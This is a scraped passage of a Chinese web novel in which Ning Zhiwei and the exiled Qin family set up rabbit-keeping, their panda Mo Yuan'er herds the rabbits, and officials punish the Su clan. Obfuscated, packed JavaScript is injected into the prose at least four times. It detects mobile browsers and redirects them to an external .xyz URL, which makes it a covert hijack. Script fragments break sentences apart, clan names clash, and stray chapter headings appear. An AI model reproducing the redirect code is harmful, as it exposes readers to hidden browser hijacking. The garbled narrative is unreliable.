“我才不是任性!”秦雨澜撅着嘴,眼眶已经泛红,“八哥,就这一次好不好?让我养着它们。” “这些野兔根本养不活,它们的牙齿很厉害,关在笼子里也会咬破逃走。”秦雪松耐心解释,“而且,它们需要新鲜的草料,咱们府上哪有这么多草料?” 话音未落,秦雨澜已经哭出了声。豆大的泪珠顺着脸颊滚落,看得秦雪松一阵心疼。 听到哭声,秦老夫人和几位嫂嫂纷纷赶来。八嫂更是气势汹汹地站到秦雪松面前,双手叉腰:“夫君,你怎么能欺负雨澜?” 秦雨澜见状,立刻抹着眼泪告状:“八嫂,八哥要把那些可爱的小兔子卖掉!他太狠心了!” 三嫂闻言,立即从怀中掏出五两银子塞给秦雪松:“八弟,所有的长耳兔我全买下了。让雨澜开心开心也好。” “是啊是啊,”四嫂也跟着附和,“雨澜平日里最喜欢小动物了,让她养着玩玩又有什么关系?” 其他几位嫂嫂也纷纷站在秦雨澜这边说话,七嘴八舌地劝着秦雪松。只有宁芷薇静静地站在一旁,若有所思。 她早就在界阙里准备好了一百只幼兔,这些兔子不同于野兔,性情温顺,好养活。她原本打算用这些兔子来做生意,兔皮可以制作绣偶,兔肉可以做成醉香兔出售。 看着众人你一言我一语地责备秦雪松,宁芷薇终于开口:“嫂嫂们,雨澜,八哥说得对,这些野兔的确不适合留着。” 秦雨澜转头看向宁芷薇,眼中带着不解和一丝失望:“九嫂,你也这么想吗?” 宁芷薇轻轻拍了拍小姑娘的肩膀:“野兔性子野,很难驯养。与其让它们受罪,不如换些银子。” 宁芷薇点点头,心中已有打算。界阙里的家兔不仅可以让雨澜开心,还能为府上增添一份收入。,现在这个契机来了,是时候说出这个计划了。 宁芷薇的一番话,让女眷们纷纷闭上了指责秦雪松的嘴。她们向来对九弟妹的话深信不疑,这一次也不例外。 屋内的气氛渐渐缓和,窗外的阳光透过窗棂洒进来,在地上投下斑驳的光影。宁芷薇看着秦雨澜眼中未散的失落,轻声开口:“雨澜,你别难过。” 她顿了顿,继续说道:“不过,我倒是知道有些家兔,性格温顺,很适合当宠物。” 她拉住秦雨澜的手,眼中带着笑意,声音轻柔:“仙市阁就有这些特别的兔子。比如安哥拉巨兔,它们体型庞大却性格温顺;还有迷你垂耳兔,小巧可爱,最适合做宠物。这两种兔子不仅可以给雨澜当宠物,咱们还能把它们宠物卖给富贵人家”。 “真的吗?九嫂!”秦雨澜眼睛一亮,原本耷拉的眉眼瞬间舒展开来。 宁芷薇见她情绪好转,继续说道:“那些兔子从小就被圈养,比野兔温顺多了。它们的**色雪白,像是刚落下的新雪,比野兔漂亮得多。” 小姑娘的心思最好哄,秦雨澜立刻眉开眼笑起来,眼中闪烁着期待的光芒:“九嫂,你说的是真的?那些兔子真的有这么好看吗?” “我什么时候骗过你?”宁芷薇佯装生气地瞪了她一眼,嘴角却忍不住上扬。 秦雨澜立刻抱住宁芷薇的胳膊撒娇,像只粘人的小猫:“九嫂最好了,以后我要负责养这些兔子。”她说着,又补充道:“我一定会好好照顾它们的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481954|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁芷薇轻轻摸了摸她的头,柔顺的发丝从指间滑过,心中已有打算。 见秦雨澜不再堵在门口,宁芷薇亲自上前推门。木门发出轻微的吱呀声,眼前的一幕让所有人都愣在原地。 七只野兔整整齐齐地靠墙站着,像是受了训的士兵,却瑟瑟发抖。它们的耳朵紧贴着后背,时不时偷偷瞄一眼前方。 而在野兔面前,墨圆儿趾高气昂地坐着,圆滚滚的身子挺得笔直,活脱脱一个小霸王。它时不时用爪子拍打地面,发出啪啪的声响,那些野兔就被吓得抖得更厉害了。 “噗嗤——”秦雨澜忍不住笑出声,她捂着嘴,眼中满是笑意,“九嫂,墨圆儿这是在给野兔立规矩呢。” 宁芷薇也被这滑稽的一幕逗笑了。她从未见过这么有意思的竹熊,墨圆儿简直比人还通灵性:“墨圆儿,真是你让它们排队的?” “嗯!”墨圆儿发出一声响亮的应答,黑白相间的脸上似乎还带着几分得意。 众人又是一阵惊叹,谁能想到一只竹熊竟然能管教野兔? 墨圆儿不耐烦地瞥了众人一眼,仿佛在说“这有什么好大惊小怪的”。它又朝野兔们拍了拍爪子,确认它们不敢乱动后,这才扭着圆滚滚的身子跑到宁芷薇腿边撒娇。 女眷们羡慕地看着这一幕。墨圆儿虽然是府上人人喜爱的宠物,可它向来对她们爱答不理,只有在宁芷薇面前才会露出这般亲昵的一面。 秦雪松趁机进屋,招呼嫂嫂们帮忙把野兔送去后院。几位夫人小心翼翼地抱起野兔,生怕它们挣扎逃跑。但在墨圆儿的威慑下,这些野兔出奇地安分。 等她们回来时,宁芷薇闻到一阵香甜的气息,这才想起灶火里还烤着红薯和土豆。她笑着邀请大家一起品尝:“正好都熟了,大家一起尝尝吧。” 秦老夫人虽然已经吃饱,却也被这热闹的气氛吸引,跟着凑了过来。她看着宁芷薇娴熟地操作,眼中满是慈爱。 第九十五章 宁芷薇把黏人的墨圆儿哄到一边,用铁钩将食物一个个勾出来。红薯和土豆表面黑乎乎的,沾满灰尘,看起来确实不太雅观。 但当宁芷薇将一个红薯掰开,浓郁的香甜气息立刻在灶房里弥漫开来。橙黄的红薯肉冒着热气,软糯可口,即便众人都不饿,还是忍不住咽了咽口水。 宁芷薇示范着剥去外皮,将一块递给秦老夫人:“娘,您尝尝。这是用特殊方法烤制的,味道应该不错。” 秦老夫人接过来,轻轻吹了吹就咬了一口。她眼睛一亮:“嗯,又甜又糯,比涮火锅时还要美味。”说着,她又咬了一口,显然是真心喜欢这个味道。 其他人见状,也纷纷学着宁芷薇的样子品尝起来。灶房里很快充满了赞叹声,就连平日里最注重仪态的大嫂都顾不得形象地连吃了好几块。 烤土豆的味道同样让人惊喜。外皮酥脆,内里绵软,配上宁芷薇准备的调味料,另有一番滋味在心头。原本说是品尝,却人人都吃了不少。 秦老夫人看着她们狼吞虎咽的样子,忍不住嗔怪:“一个个都是大家闺秀,瞧这点出息。时候不早了,都回屋去吧。”虽是责备的话,语气里却满是宠溺。 众人笑着应声,各自散去。临走时还不忘称赞宁芷薇的手艺,说改日还要来讨教。 宁芷薇最后一个离开灶房,刚迈出门槛,就看见秦远霄带着庞勇等人回来了。夕阳的余晖洒在他挺拔的身影上,给他镀上一层金边。 大家见家中事务都已处理妥当,也都回了各自房间。墨圆儿寸步不离地跟着宁芷薇,随她和秦远霄一同进入界阙。 既然答应了要养兔子,宁芷薇打算在明天去仓库前把一切准备妥当。她走在界阙里的小路上,看着四周郁郁葱葱的植被,心中盘算着该如何安置这些新来的小家伙。 界阙里的小兔子已经长大不少,但拿到外面还需要几个月才能成年。为了让家人早日看到收益,她决定在玄机阁商城购买一百只成年兔子。 虽然价格比仙市阁贵些,不过这儿的兔兔天赋异禀,好养活又不易生病。而且繁殖能力强,很快就能繁衍出更多的后代。 她还按计划买了两对安哥拉巨兔和两对迷你垂耳兔。这些宠物兔毛色漂亮,体型可爱,光是看着就让人想抱在怀里。特别是安哥拉巨兔,每只都有二十来斤重,毛发蓬松如云,一定能让雨澜爱不释手。 最后,她在仙市阁商铺选购了能容纳一千只兔子的专业饲养笼。这些折叠式兔笼不仅方便存放,还能为日后兔子繁殖做好准备。笼子的设计也很人性化,既保证了通风,又能防止兔子逃跑。 看着眼前堆积如山的物资,宁芷薇满意地点点头。她相信,在不久的将来,这些可爱的小家伙一定能给府上带来意想不到的惊喜。 兔笼的外观朴实无华,与这个时代的物件并无二致。木条编织成的格栅透着自然的纹理,每一根都经过细致打磨,既保证了牢固又不会伤到兔子的爪子。 有洋人做背锅侠,秦远霄和宁芷薇倒也不必太过担心引人非议。夕阳的余晖洒在两人忙碌的身影上,为这平凡的劳作镀上一层温暖的金色。 “这边的螺丝要拧紧些。”秦远霄蹲在地上,认真检查着笼子的连接处。他的手指轻轻敲了敲木框,确认结实程度。 宁芷薇递过来一把工具,顺手擦了擦额头的汗珠:“五个小型笼子应该够安置二十只幼兔了。” “嗯,成年兔子的笼子要大些。”秦远霄接过工具,动作熟练地组装起来,“先装十个,暂时每个放十只,明日运回去再重新分配。” 远处的草地上,几只品相极佳的宠物兔正悠闲地啃食着青草。这是宁芷薇特意挑选的,准备送给秦雨澜的礼物。阳光下,它们雪白的毛发泛着柔和的光泽,红宝石般的眼睛灵动有神。 “这些小家伙得单独安置。”宁芷薇轻声说道,目光温柔地看着那些毛茸茸的身影,“每对一个笼子,让雨澜也能好好照顾。” 正说着,墨圆儿摇摇晃晃地从仓库门前走过来。这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481955|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小家伙刚才在专心致志地啃一根胡萝卜,圆滚滚的身子惬意地晃动着,像个小酒桶似的。 宁芷薇看着墨圆儿今天展现出的特殊能力,心中升起一丝好奇。这只看似呆萌的小竹熊,似乎藏着不少秘密。 “墨圆儿,过来。”她轻声唤道。 小家伙依依不舍地放下胡萝卜,一路小跑着来到主人面前。它先是歪着脑袋眨巴着大眼睛,那副可爱的模样逗得宁芷薇忍俊不禁。见主人被自己萌到,墨圆儿这才正襟危坐,一副等待差遣的乖巧模样。 “帮忙把这些兔子赶进笼子好不好?”宁芷薇蹲下身,轻声问道。 “嗯!”墨圆儿奶声奶气地应了一声,挥舞着毛茸茸的小短手,对着草地上撒欢的兔子们叫了几声。 接下来的一幕让秦远霄和宁芷薇都看呆了。所有兔子瞬间停下动作,战战兢兢地看向声源,随即如潮水般涌向笼子。然而这场面着实有些滑稽可笑。 兔子们完全不管大小,见笼子就钻。一只体型硕大的安哥拉巨兔竟然和几只幼兔挤在一起,大气都不敢出。其他兔子也是东挤西挤,场面一片混乱。 “这小家伙......”秦远霄看着眼前的情景,忍不住摇头失笑。 宁芷薇也被逗乐了:“虽然不太专业,但确实证明了它有特殊能力。” 完成任务的墨圆儿得意洋洋地扑进宁芷薇怀里,发出嘤嘤的撒娇声,显然在讨要奖励。它圆溜溜的眼睛闪着期待的光芒,小爪子不停地扒拉着主人的衣襟。 宁芷薇望向不远处的竹林。虽然竹子还不算高大,但竹笋已经长得正好。她意念一动,召来大量鲜嫩的竹笋,几乎要将墨圆儿圆滚滚的身子埋住。 果然,对于一只竹熊来说,没什么比新鲜竹笋更诱人的了。墨圆儿立刻将主人抛在脑后,抓起竹笋就开始大快朵颐,吃得不亦乐乎。 趁此机会,宁芷薇用意念将所有兔子重新分类安置。她的动作轻柔而迅速,每只兔子都被妥善安顿在合适的位置。 第九十六章 天色渐暗,夫妻俩终于忙完这一切。秦远霄伸了个懒腰:“今天够累的,回去洗漱休息吧。” 回到房间,两人简单梳洗后相拥而眠。一整天的劳累让他们很快进入梦乡,连墨圆儿打呼噜的声音都没能惊扰他们的安眠。 次日清晨,宁芷薇早早醒来。晨光透过窗棂洒进屋内,为她的脸庞镀上一层柔和的光晕。她轻手轻脚地起身,打算用界阙里储存的大龙虾给家人做一顿丰盛的早餐。 时间有限,她决定做最简单的龙虾粥。在前世,能早上吃上一碗虾肉满满的龙虾粥已是难得的享受。况且秦家人向来节俭,一碗龙虾粥配上几张葱油饼和小菜,已是很不错的早餐。 厨房里,几位嫂嫂已经在忙活。见九弟妹今日要做龙虾粥,纷纷前来帮忙。 “九弟妹,这虾肉可真新鲜。”大嫂惊叹道,手上利落地剥着虾壳。 二嫂在一旁和面:“我来做葱油饼,正好配粥。” 宁芷薇心中一暖,这就是家人的温暖。她将虾肉放入熬得浓稠的粥中,香气顿时四溢。 不多时,一顿别致的早餐便准备妥当。餐桌上,龙虾粥散发着诱人的香气,金黄酥脆的葱油饼整齐地摆放着,几碟开胃小菜点缀其间。 这顿早餐果然获得了满堂喝彩。秦老夫人连连称赞,其他人也都吃得津津有味。 用过早饭,秦雪松提出要一同去仓库运送物品。虽说人多好办事,但秦远霄另有考虑。昨日准备的活兔不能露天饲养,至少要搭个遮风挡雨的草棚。 “八哥,我和庞勇他们去城里,麻烦你今天找几个村民来帮忙,后面院子建个凉亭。”秦远霄说道。 秦雪松眉头微皱:“干嘛建这凉亭?” “八哥忘了?昨日买的那些兔子需要安置。” 秦雪松心里泛起一丝不快。自从来到东麓村,他还未曾好好逛过宁远。作为即将上任的捕头,对当地情况却一无所知,这让他感到有些惭愧。 但九弟说得对,这事确实重要。五哥现在失忆,家中能干重活的就他和九弟两个。正当他要应下时,秦老夫人款款而至。 “远霄,带上你八哥去吧。”老夫人慈祥地说道,“搭个草棚的事交给娘来办就是。” 秦雪松连忙摇头:“娘,儿子去叫族长们帮忙,您只需带着嫂嫂们看着便是。” “娘身子骨还硬朗,这点小事不在话下。”老夫人坚持道,眼中闪着精明的光芒。当年镇国公府上下都是她一人打理,这点小事自然难不倒她。 见母亲坚持,兄弟俩也就不再推辞。秦远霄带着母亲去后院选址,仔细交代了草棚的尺寸及一些注意事项。 宁芷薇则将墨圆儿从界阙放出来。这小家伙怕寂寞,独自待在界阙会闷闷不乐。她和秦远霄要出门,只好暂时将墨圆儿托付给秦雨澜照看。 “雨澜,墨圆儿就拜托你了。”宁芷薇摸了摸小姑娘的头,“它要是闹脾气,就给它点竹笋。” 秦雨澜开心地抱起墨圆儿:“嫂嫂放心,我会好好照顾它的。” 安排妥当后,夫妻二人与秦雪松一同赶着骡车前往宁远。庞勇等人施展轻功紧随其后,晨光中的身影渐渐远去。 庞勇等人被派去城里雇牛车,秦远霄和宁芷薇则步行前往仓库。初夏的阳光温柔地洒在青石板路上,空气中飘散着淡淡的槐花香。 “这条路比上次来时热闹多了。”宁芷薇望着两旁熙熙攘攘的店铺,不禁感慨道。路边小贩的吆喝声此起彼伏,行人来来往往,一派繁华景象。 秦远霄微微颔首,目光却若有所思地望向远处的码头。威廉的大货船早已离港,只剩下几艘渔船在岸边轻轻摇晃。这倒是给他们省了不少麻烦,那些从仙市阁商铺购买的物品,如今已经成了无头案。 “你在想什么?”宁芷薇察觉到他的走神,轻声问道。 “没什么。”秦远霄收回目光,嘴角扬起一抹温和的笑意,“只是在想接下来该如何安置这些货物。” 宁芷薇点点头,心里暗暗松了口气。码头的事情总算告一段落,这下可以放心大胆地处理那些货物了。 推开仓库厚重的木门,扑面而来的是一股淡淡的霉味。宁芷薇没有耽搁,立刻从界阙里取出兔子和笼子,动作麻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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看着秦雪松津津有味地品尝着各种果干,宁芷薇的思绪不禁飘远。这些在现代稀松平常的东西,在永安朝却是稀罕物件。若是经营得当,必定能开创一番新天地。 “八哥,来看看这边。”秦远霄领着秦雪松来到兔子区域。 那些雪白的安哥拉兔正悠闲地啃着草料,长长的绒毛在阳光下泛着柔和的光泽。秦雪松看得入了迷,伸手想摸又不敢碰,“这兔子比山里的野兔好看多了,**色也更漂亮。” “雨澜要是看到,准要高兴坏了。”秦雪松笑着说道,想起自家闺女那爱不释手的模样。 第九十七章 宁芷薇看着这些价值不菲的安哥拉兔,心里已经有了计划。这些兔子不仅可以观赏,更重要的是它们的毛发可以织成上等兔绒,将来必定是家里重要的经济来源。 正说着,外面传来车轮的咯吱声。庞勇带着十几辆牛车到了,每辆车都配备了两个强壮的伙计。宁芷薇立刻打起精神,开始指挥大家搬运货物。 “重物放在车厢中间,”她一边帮忙一边叮嘱,“玻璃要用草垫好,布匹要避免受潮。” 装满四分之一的货物后,宁芷薇和秦远霄先行返回东麓村。一路上,她看着路过的村民投来好奇的目光,心里暗暗发笑。这些东西很快就会改变整个村子的面貌。 回到家里,发现秦老夫人已经安排人搭建好了草棚。几个壮实的小伙子正在加固棚顶,为即将到来的小兔子们准备住处。 “娘,您太能干了。”宁芷薇由衷地赞叹道。 秦老夫人笑着摆摆手,“都是些粗活,让他们帮忙搭搭就成了。倒是你们,这一趟可顺利?” “一切都好,”秦远霄接过话头,“东西已经在往回运了,估计傍晚前就能到齐。” 看着院子里忙碌的景象,宁芷薇的心渐渐沉静下来。她望着远处的青山,思绪万千。这些新奇的物件,将会为这个古老的村落带来怎样的变化?那些可爱的小兔子,又会为村民们创造多少财富? 果然如他们所料,临近傍晚时,大车往返不知拉了多少回,方才将库房中的家当一并搬空。车轮碾过泥土的声音,伴随着搬运工人的吆喝声,在夕阳下格外清晰。 短短一日就搬来这许多财物,把赵周两家的族人都看傻了眼。他们知道苏家日子过得富裕,可也没见过像秦家这样,刚来安家就置办这么多东西的。 瞧那帮人搬运的东西,基本都是他们闻所未闻的。精致的瓷器在夕阳下泛着柔和的光泽,绣着繁复花纹的锦缎随风轻轻飘动,还有各种造型别致的家具,无一不彰显着不凡的品味。 这也难怪,当年在帝都身居要职的大人物,即便被流放,底蕴还是在的。双方家族成员都暗自庆幸,幸亏秦家人没有向苏允低头,不然他们就不会被分到东麓村,这群乡下人哪能在井底里见过大世面。 宁芷薇站在院子里,看着眼前忙碌的景象。搬运工人来来往往,汗水在他们的脸上闪着光。她想起自己刚来东麓村时的境遇,再看看如今的情形,心中五味杂陈。 秦远霄站在她身边,察觉到她的心思,轻轻握住她的手。他的手掌温暖而有力,给了她莫大的安慰。 “别想那么多,”他低声说道,“我们要往前看。” 宁芷薇点点头,眼中闪过一丝坚定。是啊,他们已经走到这一步了,没有什么好犹豫的。 夕阳的余晖洒在院子里,给一切都镀上了一层金色。远处传来村民们的说笑声,混合着牛车的吱呀声,构成了一幅和谐的乡村图景。 宁芷薇深吸一口气,空气中飘着泥土和青草的芬芳。这就是他们的家了,虽然现在还有些简陋,但只要他们用心经营,一定能把它变成一个温暖舒适的港湾。 她看向秦远霄,发现他也正含笑看着自己。两人相视一笑,默契地转身投入到忙碌中去。 夜幕渐渐降临,院子里的忙碌仍在继续。灯火通明中,新家的轮廓逐渐清晰起来。宁芷薇和秦远霄忙里偷闲,站在廊下歇息。 远处传来断断续续的说话声,是村民们还在议论今天发生的事。苏家的倒台对整个东麓村来说都是一件大事,恐怕要讨论好几天。 宁芷薇靠在廊柱上,看着天上的星星。今晚的星空格外明亮,像是在预示着什么。她想起白天看到的那些场景,不由得感慨万千。 人生的际遇真是奇妙,谁能想到她会在这样一个偏僻的小村庄里,经历这么多事情。但正是这些经历,让她更加珍惜眼前的一切。 秦远霄见她出神,轻轻拍了拍她的肩膀。“去歇息吧,明天还有很多事要做。” 宁芷薇点点头,跟着他往屋里走。夜风轻轻吹过,带来远处的虫鸣声。这一刻,她感到无比安心。 第二天,宁芷薇站在码头仓库门前,看着最后一批货物被装上马车。初春的风裹挟着潮湿的气息拂过脸颊,她下意识地裹紧了衣服。 “九弟妹,这是最后一批了。”大车夫擦了擦额头的汗水,“要不要我们帮忙 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“这些东西可真不少啊。”二嫂忍不住感叹,目光在堆满院子的货物间流连,“九弟妹这次可是下了血本。” 宁芷薇笑了笑,正要说话,却见墨圆儿从草棚里窜了出来,绕着她的脚边转圈。那双红宝石般的眼睛闪烁着异样的光芒,似乎在暗示着什么。 “墨圆儿,怎么了?”她蹲下身,轻轻抚摸着小家伙的脑袋。 墨圆儿却不依不饶地往草棚方向跑,时不时回头看她。宁芷薇心中一动,想起昨晚在草棚里发生的怪事。 “九弟妹,快看这些兔子!”三嫂的惊呼打断了她的思绪。 几只安哥拉巨兔和迷你垂耳兔被从笼子里抱出来,雪白的**色在阳光下泛着柔和的光泽。红润的眼睛温顺地眨动着,惹得众人连连惊叹。 “真是可爱极了!”大嫂小心翼翼地摸了摸兔子的耳朵,“**这么软,做成绣偶一定很受欢迎。” 就在众人被兔子吸引注意力的时候,宁芷薇悄悄跟着墨圆儿来到了草棚。眼前的景象让她倒吸一口冷气。 第九十八章 二百只兔子整齐划一地靠在笼壁上,双手交叉在胸口,目不转睛地盯着墨圆儿。而墨圆儿则坐在地上,发出一种奇异的叫声,仿佛在指挥一支无形的军队。 “这...这是怎么回事?”宁芷薇喃喃自语。她知道墨圆儿与普通动物不同,但没想到会这么特殊。如果这个秘密被人发现,后果不堪设想。 正当她犹豫要不要把墨圆儿抱走时,身后传来脚步声。 “九弟妹,你在这儿啊。”二嫂的声音里带着笑意,“咦,这是怎么了?” 宁芷薇心跳漏了一拍,连忙转身挡在墨圆儿前面。“没什么,我来看看兔子的情况。” 但二嫂已经看到了那诡异的一幕。“这些兔子...怎么都这样看着墨圆儿?该不会...” “可能是墨圆儿身上有什么气味吸引它们。”秦远霄及时出现,打断了二嫂的猜测,“我听说兔子对气味特别敏感。” 宁芷薇感激地看了丈夫一眼。秦远霄冲她微微点头,眼神中传递着安抚的信息。 这时,五嫂和五哥也走了过来。五嫂搓着手,有些局促地说:“九弟妹,你五哥常年进山打猎,对养兔子也有些经验。要不...让我们来照顾这些兔子?” 宁芷薇眼前一亮。这倒是个不错的主意,既能让五嫂夫妇为家里出力,又能分散大家对墨圆儿的注意力。 “五嫂愿意帮忙真是太好了。”她笑着说,“不过这工作可不轻松,要打扫兔舍、准备饲料,还要观察母兔子的情况。” “没关系,我们一定会认真负责的。”五哥也表态道。 其他嫂嫂见状,也纷纷凑了过来。 “九弟妹,那我们呢?”大嫂问道,“总不能光看着五弟妹忙活吧?” 宁芷薇转身指向堆放在院子里的货物。“我买了很多毛绒布料,正好可以用来制作绣偶。这可是你们的拿手活儿。” “是那些软绵绵的袋子吗?”三嫂眼睛一亮,“我刚才摸了摸,质地可真好。” “对,颜色和花样都很多。”宁芷薇点头道,“等会儿我们就可以开始分类。” 嫂嫂们顿时兴奋起来,七嘴八舌地讨论着要做什么样的绣偶。连二嫂也暂时忘记了刚才的疑惑,加入了讨论。 趁着这个机会,宁芷薇悄悄把墨圆儿抱在怀里。小家伙似乎也明白事态严重,乖乖地蜷缩成一团,不再发出奇怪的声音。 那些兔子随即恢复了正常,有的在啃食草料,有的蹲在角落梳理毛发,仿佛刚才的一切都是幻觉。 “九弟妹,”五嫂小声问道,“现在要做些什么?” 宁芷薇看了看天色,已经快到傍晚了。“今天先把兔子喂饱吧。明天我教你们怎么分类,特别是要把成年母兔子单独关起来。兔子怀孕期很短,生产时需要安静的环境。” 五嫂认真地点头记下,脸上写满了责任感。“你放心,我一定好好学。” 大嫂也凑过来说:“九弟妹,不如我们现在就去看看那些布料?趁着天还没黑,能做多少是多少。” 其他嫂嫂纷纷附和。宁芷薇笑着答应,带着她们往堆放布料的房间走去。 墨圆儿在她怀里动了动,似乎想要挣脱。宁芷薇连忙收紧手臂,低声说:“乖,别闹。” 秦远霄跟在后面,若有所思地看着这一切。他知道妻子心中的担忧,但现在还不是谈论这个问题的时候。 宁芷薇和秦远霄正准备向秦老夫人问安,突然,一阵嘈杂的声响传来,打断了他们的脚步。 秦远霄微微蹙眉,侧耳倾听。那声音由远及近,夹杂着哭喊和求饶,听起来像是苏家人在闹腾。 院墙外,匆匆的脚步声此起彼伏。 “听说官差去了苏家,咱们快去瞧瞧热闹!”一个粗犷的男声喊道。 “可不是嘛,这么多年了,总算等到这一天。”另一个声音附和着,语气中带着几分幸灾乐祸。 “快点儿,晚了就没好位置了。” “哭声这么大,苏家这回怕是要倒大霉了……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481958|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 周围的议论声此起彼伏,宁芷薇和秦远霄对视一眼。秦远霄眼中闪过一丝思索,轻轻点头。两人默契地朝院子外走去。 他们倒不是爱看热闹,主要是想摸清苏家的情况。毕竟山脚下那处院子和地,还指望从苏家手里买下来。 等他们赶到苏家附近,那里已经被看热闹的村民围得水泄不通。人群中不时传来此起彼伏的议论声,有人幸灾乐祸,有人唏嘘感慨。 苏家的大门敞开着,院子里一片狼藉。几个苏家人跪在地上,面对官差的呵斥,哭喊求饶声震天动地。 “大人饶命啊,那都是苏允干的,跟小的半点关系都没有啊!”一个中年男子磕头如捣蒜,额头都磕出了血。 “官爷行行好,小的还有八十岁老母要赡养呢。”另一个瘦弱的男子抱着官差的腿,涕泪横流。 “求您开恩,饶小的这一回吧……” 官差不耐烦地挥舞着手中的鞭子,啪啪抽在地上。“全都给我住口!这会儿晓得怕了?当初作恶的时候怎么没想到今天?” 鞭子一下下抽在苏家人身上,哭喊声更加凄厉了。有几个苏家妇人躲在角落里抹眼泪,却不敢上前求情。 这场面对杨家吴家的族人来说,真是大块人心啊。多年来受尽苏家欺压,如今终于看到他们遭报应,心中的郁气似乎都散了几分。 原以为抓走几个苏家人就完事了,没想到官差又找上了赵周两家的族长。两位族长战战兢兢地走上前,弯腰作揖:“大人,不晓得召唤我等有何差遣?” 官差环视四周,朗声宣布:“大老爷已经定夺,凡是被苏家强迫嫁娶的,只要不愿意继续,男的可以休妻,女的可以和离。” 此话一出,现场顿时一片哗然。人群中爆发出此起彼伏的议论声,有人欢呼雀跃,有人面露惊诧。 话音未落,苏家院子里就冲出来三个衣着褴褛的女子。她们跪在官差面前,异口同声道:“大人,我们要和离!”说完还不忘狠狠瞪了苏家人一眼。 第九十九章 宁芷薇仔细打量着这三个女子。她们身上的衣裳打满补丁,面容憔悴,眼神中却闪烁着希望的光芒。想必这些年在苏家,没少受苦。 第九十 正想着,杨家吴家那边也跑来几个人。他们找到自家姑娘,抱头痛哭。 “二妮啊,是爹娘没用,害你在苏家忍气吞声整整两载。”一个满脸皱纹的老妇人紧紧抱着女儿,泪如雨下。 “巧杏,那群畜生把你当丫鬟使唤,今天咱们就跟他们和离。”另一个中年妇人一边抹泪一边安慰女儿。 “太好了,我家姑娘总算能摆脱苏家的欺凌。回家后,父母兄长将你抚养成人。” 几家人抱头痛哭之际,杨家吴家人群中又传来几声撕心裂肺的哭喊。只见几个高大壮实的男子拽着几个相貌平平的女人走到官差面前。 他们随手把那些女人甩在地上,态度坚决:“大人,我们要休妻。这辈子就算打光棍,再不娶苏家姑娘。” “对,打死再不娶苏家姑娘。宁可孤独终老,也不要再受这份罪了。” 见几个汉子态度坚决,那几个苏家女也停止了哭闹。一位圆润的少妇猛地起身,走到一个杨家汉子面前,伸手要拉他的胳膊。 “杨珊韶,娶到我是你修来的福分,别不识好歹。”她的声音尖利刺耳,眼中闪过一丝狠厉。 杨珊韶猛地往后一躲,不再像从前那样忍气吞声。“这种福气我杨珊韶不稀罕,你还是滚回苏家去吧!” 苏氏不甘心,又要上前拉扯杨珊韶。“你别忘了,我替你传宗接代生了一双龙子。” 杨珊韶冷笑一声:“生了俩小子又能如何?还不是嫁入你家门下?这些年你们苏家欺人太甚,今天我就要跟你一刀两断!” 其他几个被拉出来的苏家女也不甘示弱,想拉住自己的丈夫。光瞧她们的行为便知晓,平日里没少用这种撒泼打滚的招数。 官差见场面混乱,大声呵斥:“都给我安静!”周围才稍稍安静下来。 总算遇到了靠山,赵周两家族长唯恐节外生枝,忙令下人取来文房四宝,立即给几位苏家媳妇开具休书,还迫不及待地把她们的名字从族谱上除名。 嫁到苏家的女子和离稍微麻烦些,除了要族长写和离书,还得去衙门盖印才算数。为此,那些女眷的娘家亲属立马拍板,随衙役前往公堂,今天必须把和离的事办妥。 官差们也干脆利落,不管他们以前帮苏允做过什么,如今新县令上任,他们就得听新县令的。只有这样,方可弥补过错。 于是,官差们办事效率奇高,把那些作恶多端的苏家人五花大绑,急匆匆往衙门赶。 苏家众人眼睁睁瞧着一帮族亲被官差拿下,更别提众多弃妇和负心汉,顿时蔫了。有些人虽然习惯性地想对杨家吴家人呼来喝去,但对上他们不同以往的眼神,也没了那个胆量。 十几年了,赵周两家在东麓村终于扬眉吐气了一回。他们再也不用担心苏家的欺压盘剥,往后光景必定红红火火。 宁芷薇和秦远霄见官差已经押人离开,便趁着人群散去前回到了家,照旧打理家务。 夕阳的余晖洒在院子里,为忙碌的人们镀上一层金色。宁芷薇看着眼前的景象,心中五味杂陈。 家业正在慢慢起步,但墨圆儿的秘密却让她寝食难安。这个谜题,究竟该如何解开?而更重要的是,她该如何保护这个特殊的小家伙? 夜幕缓缓降临,院子里的灯火一盏接一盏亮起。嫂嫂们围坐在一起,叽叽喳喳地讨论着绣偶的样式。五嫂夫妇在草棚里忙着照料兔子,不时传来轻声的交谈。 